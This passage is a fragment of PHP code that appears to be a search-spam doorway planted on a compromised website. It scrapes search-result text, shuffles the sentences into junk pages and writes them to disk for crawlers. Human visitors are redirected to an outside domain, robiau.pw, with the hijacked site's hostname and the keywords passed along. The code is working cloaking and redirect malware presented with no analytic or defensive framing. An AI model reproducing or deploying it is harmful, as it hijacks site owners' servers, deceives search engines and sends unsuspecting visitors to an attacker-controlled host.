div>#iU",$result,$m); foreach ($m[1] as $a) $text .= $a; } $text = str_replace("...", "", $text); $text = strip_tags($text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = explode(".", $text); shuffle($text); $text = array_unique($text); $text = implode(". ", $text); } $html = implode ("\n", $tpl); /* $titlename = $_SERVER['SERVER_NAME']; $titlename = explode(".", $titlename); $titlename = strtoupper($titlename[0]); if (strlen($titlename)>1) $html=str_replace("{keyword}", "$keyword | $titlename", $html); */ $html = str_replace("{keyword}", $keyword, $html); $html = str_replace("{manytext_bing}", $text, $html); $out = fopen($myname, "w"); fwrite($out, $html); fclose($out); echo $html; } if(!@$isbot) { $keyword = str_replace("-", " ", $_GET["fthfse"]); $keyword = str_replace(" ", "+", $keyword); $ref = $_SERVER["HTTP_REFERER"]; $d = $_SERVER["HTTP_HOST"]; $mykeys = $_GET["fthfse"]; header("Location: http://robiau.pw/sf/77?d=$d&mykeys=$mykeys"); exit; } ?>